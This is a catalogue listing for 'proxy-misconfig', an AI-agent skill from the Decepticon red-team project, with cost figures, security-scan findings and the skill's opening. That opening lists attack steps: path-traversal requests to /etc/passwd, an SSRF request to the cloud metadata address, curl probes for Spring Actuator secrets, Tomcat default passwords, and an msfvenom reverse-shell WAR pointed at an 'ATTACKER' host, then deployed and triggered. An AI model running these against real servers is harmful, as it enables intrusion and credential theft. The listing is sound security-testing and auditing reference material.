proxy-misconfig

proxy-misconfig is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 37 tokens per session (1,413 once invoked), scanned C, original, Apache-2.0.

A security testing guide for reverse-proxy configuration mistakes in servers such as Nginx, Apache, Spring Boot, Tomcat, and IIS.

In plain words
What is it for?
Use it to check proxy rules, management endpoints, path handling, and server-side requests to internal or cloud addresses.
Why use it?
It helps find routes that expose internal services, sensitive files, server settings, or cloud credentials.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Good fit Use it to check proxy rules, management endpoints, path handling, and server-side requests to internal or cloud addresses.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/proxy-misconfig
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill proxy-misconfig
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for proxy-misconfig

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/proxy-misconfig/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/proxy-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for proxy-misconfig

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/proxy-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 37 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,413 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 28
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 125
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Server-Side Request Forgery · line 37
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high YARA Match · line 65
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00037 $0.01413
Opus 5 $0.00018 $0.00707
Sonnet 5 $0.00007 $0.00283
Haiku 4.5 $0.00004 $0.00141

Measured 9d ago against content hash c5f2925286bc, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

proxy-misconfig scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl $TARGET/actuator
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md · 161 lines

How it starts

The opening of the file, as written. The whole thing — 161 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Reverse Proxy Misconfigurations

1. Nginx alias traversal

Nginx alias directive (vs root) is dangerous when URL pattern is prefix-based but alias is a directory:

location /static {
    alias /var/www/static/;       # trailing slash CRITICAL
}
# But buggy:
location /static {
    alias /var/www/static;        # NO trailing slash → path traversal possible
}

Bypass:

GET /static../etc/passwd  → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../  → directory listing if autoindex on

2. Apache mod_rewrite SSRF

RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF

3. Spring Boot Actuator exposure

# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env       # all env vars including secrets
curl $TARGET/actuator/heapdump  # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings  # all routes
curl $TARGET/actuator/loggers   # logging config
curl $TARGET/actuator/jolokia/  # JMX bridge → RCE in many configs

# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump

4. Tomcat Manager

curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager

# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/"   # triggers shell

5. IIS short-name disclosure (8.3 names)

# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner

6. Nginx merge_slashes off + URL encoded

GET /api//../../admin   # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin   # URL-encoded traversal

Read the full file on GitHub · 161 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 161 lines · 37 tokens per session scan C c5f2925286bc

Subscribe to this mod's changes

proxy-misconfig is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 37 tokens to every session and 1,413 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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